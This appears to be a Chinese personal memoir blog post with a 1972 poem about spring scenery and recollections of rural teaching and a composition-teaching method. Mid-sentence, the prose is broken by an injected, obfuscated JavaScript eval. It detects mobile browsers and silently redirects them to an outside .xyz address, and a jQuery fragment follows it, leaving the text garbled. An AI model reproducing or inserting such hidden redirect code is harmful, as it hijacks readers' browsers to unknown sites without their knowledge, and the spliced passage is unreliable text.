双双花蝶
在花丛中萦绕，
花丛中还有
那勤劳的蜂群。
快乐的水鸟
在清池中游戏，
活泼的游鱼
依偎着浮萍。
轻盈的蜓翅
在水面
翩翩起舞，
机灵的青蛙
在一旁
瞪着那
有趣的眼睛。
多姿的垂柳
在风中
飘动着
美丽的长发，
俏皮的喜鹊
在枝头
欢唱着
动人的歌声。
看到这
微妙的
引人入胜的
春景，
使我
自然地
联想到
瑰丽的
多彩的
烂漫的
丰富的
人生！
1972年4月28日
我模仿了一位前苏联
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915235|160265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诗人的诗体。
在后来七年多的时间里，我给写给她的信有30多封，大部分信中都附有一首诗，大多是古体诗。
二
教到期末统考了，那位女老师竟还没有回来。有人说她不会回来了，我心里暗暗高兴，她迟回一天，我就可以多教一天，她要是不回来，说不定我还可以长期教下去。
本学区几十个小学一起统考，我教的班，语文和算术都考了个全学区第一。算术成绩特别好，32个学生，只有2个99分和两个98分，其他28个学生都是100分。
这样的成绩也引起了公社教育组的领导的注意，他在总结会上大大地表扬了我。
暑假过后，我被调去教三年级了。公社教育组听说我作文教得好，要我讲一次作文公开课。
公社教育组和本学区的领导带着二十几个中小学老师来听课。
记得那次公开课讲的作文题是“跳高架前”。因为我们学校正在搞田径训练，准备参加学区内的田径运动会，我是总教练，正在教跳高，所以以此为题。
当时我想探索作文教学的新路子，搞了个“词句导引训练法”。
后来我编著出版的几套“中小学作文训练丛书”的小学部分，还是沿用的这个“词句导引训练法”。
后来风靡全国的《傻瓜作文》和《黄金格作文》的训练思路也是来自于此。
在北京时，还得到老教育部长的赞许，并在老部长的指导下，将我的作文训练丛书的书名改为以我的名字命名，并向全国推广。
我在黑板写了几个导引词，让学生根据这几个导引词做“白日梦”，然后我点学生上讲台口述作文。
点上讲台的学生看着导引词口述作文，学生口述作文很流畅，也很生动。
导引词虽然相同，而三个学生口述的作文却各不相同。听课的老师都很惊讶